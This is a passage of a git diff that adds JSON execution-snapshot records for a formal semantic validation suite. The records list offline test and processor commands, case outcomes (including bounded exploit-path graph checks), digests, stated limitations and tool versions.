"sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1360-execution-v49", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "8a158cb1b1d3a5695409fcdfdf14d1a0607d597b", + "source_state": { + "base_revision": "8a158cb1b1d3a5695409fcdfdf14d1a0607d597b", + "checkout_state": "modified", + "implementation_digest": "1157e520ea06390072485a32ed4bd10c1e4a08ff56aaa80aa198b60343704072", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v50.json b/docs/research/formal-semantic-validation/execution-snapshot-v50.json new file mode 100644 index 000000000..007795261 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v50.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1360-execution-v49", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v49.json", + "release_revision": "50.0.0", + "release_sha256": "a69bd32fab00e73c84090365db6a869ac3dbc0f293cb1c07fa3342c2efbf9126" + }, + "captured_at": "2026-09-25T02:52:47.736460+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1360-execution-v50", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1360-execution-v50", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "b827185b1efcfba324a57fd6fd84e801868b5177", + "source_state": { + "base_revision": "b827185b1efcfba324a57fd6fd84e801868b5177", + "checkout_state": "modified", + "implementation_digest": "ff02d6c5409926c36e99322264e7e3b99b57cab2bad7e29af883dbbcb4667fc0", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v51.json b/docs/research/formal-semantic-validation/execution-snapshot-v51.json new file mode 100644 index 000000000..9c0c8b639 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v51.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1360-execution-v50", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v50.json", + "release_revision": "51.0.0", + "release_sha256": "232071956fd30e015cbdf4b19b2d5411a5b640735e1f4d9f73ea3d5325c15599" + }, + "captured_at": "2026-09-25T04:28:19.309309+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + 